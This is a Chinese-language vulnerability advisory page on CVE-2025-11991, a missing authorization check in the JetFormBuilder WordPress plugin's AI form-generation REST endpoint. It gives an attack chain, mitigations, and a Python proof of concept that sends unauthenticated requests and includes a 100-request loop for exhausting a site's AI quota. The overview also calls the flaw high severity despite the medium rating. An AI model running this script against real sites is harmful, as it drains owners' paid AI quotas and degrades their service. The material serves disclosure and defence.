IPBUF安全漏洞报告
English
CVE-2025-11991 CVSS 5.3 中危

CVE-2025-11991: JetFormBuilder插件未授权AI表单生成漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-11991
漏洞类型
未授权访问/缺少权限检查
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
JetFormBuilder — Dynamic Blocks Form Builder (WordPress插件)

相关标签

CVE-2025-11991JetFormBuilderWordPress插件未授权访问缺少权限检查AI滥用REST API漏洞配额耗尽攻击中危漏洞CVSS 5.3

漏洞概述

CVE-2025-11991是WordPress JetFormBuilder插件中的一个高危安全漏洞。该插件是WordPress平台上流行的动态表单构建工具,支持使用AI技术自动生成表单。漏洞源于run_callback函数缺少必要的权限验证机制,允许未认证的远程攻击者调用AI表单生成功能。此漏洞影响所有版本直至3.5.3版本。由于AI服务通常有使用限制和配额约束,攻击者可利用此漏洞大规模生成表单,快速消耗目标网站的AI使用额度,导致服务成本激增或正常用户无法使用AI功能。此外,大量自动化请求还可能影响网站性能和可用性。

技术细节

该漏洞位于JetFormBuilder插件的AI模块REST API端点中,具体路径为/modules/ai/rest-api/endpoints/generate-form-endpoint.php第26行。问题出在run_callback函数缺少current_user_can()或同等权限检查。攻击者可通过向WordPress REST API发送未经授权的POST请求,直接调用generate-form-endpoint端点。由于该端点未验证请求者身份,任何匿名用户都可以触发AI表单生成逻辑。攻击者只需构造特定的API请求,指定表单参数,即可让服务器端调用AI服务生成完整表单。这一过程会消耗API配额,产生额外费用,并可能造成拒绝服务效果。修复方案是在run_callback函数入口处添加权限验证,确保只有具有管理权限的用户才能调用AI生成功能。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标WordPress网站并确认安装了JetFormBuilder插件,版本<=3.5.3
STEP 2
步骤2: 端点识别
定位REST API端点/wp-json/jet-form-builder/v1/generate-form,该端点负责处理AI表单生成请求
STEP 3
步骤3: 未授权请求发送
攻击者构造POST请求直接调用generate-form端点,无需任何认证凭证(cookie/token)
STEP 4
步骤4: AI服务调用
服务器端点接收请求后调用AI服务生成表单,每次调用消耗AI API配额和计算资源
STEP 5
步骤5: 配额耗尽
通过大规模自动化请求,持续消耗目标网站的AI使用限额,导致正常用户无法使用AI功能
STEP 6
步骤6: 经济损失
AI服务配额被耗尽后,网站管理员需要额外付费购买配额或等待配额重置,造成经济损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-11991 PoC - Unauthorized AI Form Generation # Target: WordPress site with JetFormBuilder plugin <= 3.5.3 target_url = "http://target-wordpress-site.com" # Identify the REST API endpoint for AI form generation api_endpoint = f"{target_url}/wp-json/jet-form-builder/v1/generate-form" # Prepare the malicious request without authentication payload = { "form_name": "Malicious Form", "form_description": "Form generated by unauthorized attacker", "form_fields": [ {"type": "text", "name": "field1", "label": "Name"}, {"type": "email", "name": "field2", "label": "Email"} ] } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } print("[*] Sending unauthorized AI form generation request...") print(f"[*] Target: {api_endpoint}") try: # Send POST request without authentication cookie response = requests.post( api_endpoint, json=payload, headers=headers, timeout=30 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] SUCCESS: Form generation endpoint accessible without authentication!") print("[+] AI quota consumption attack is possible") elif response.status_code == 401 or response.status_code == 403: print("[-] FAILED: Endpoint requires authentication (may be patched)") else: print(f"[*] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Mass exploitation to consume AI quota print("\n[*] Mass exploitation script for quota exhaustion:") for i in range(100): payload["form_name"] = f"Attacker Form {i}" try: requests.post(api_endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Request {i+1}/100 sent") except: pass

影响范围

JetFormBuilder插件 < 3.5.4

防御指南

临时缓解措施
如果无法立即升级,可临时采取以下措施:1) 在Web服务器层面限制对/wp-json/jet-form-builder/路径的访问;2) 禁用或限制AI模块功能;3) 监控API访问日志,及时发现异常请求模式;4) 联系AI服务提供商设置用量上限;5) 考虑暂时禁用JetFormBuilder插件直到完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表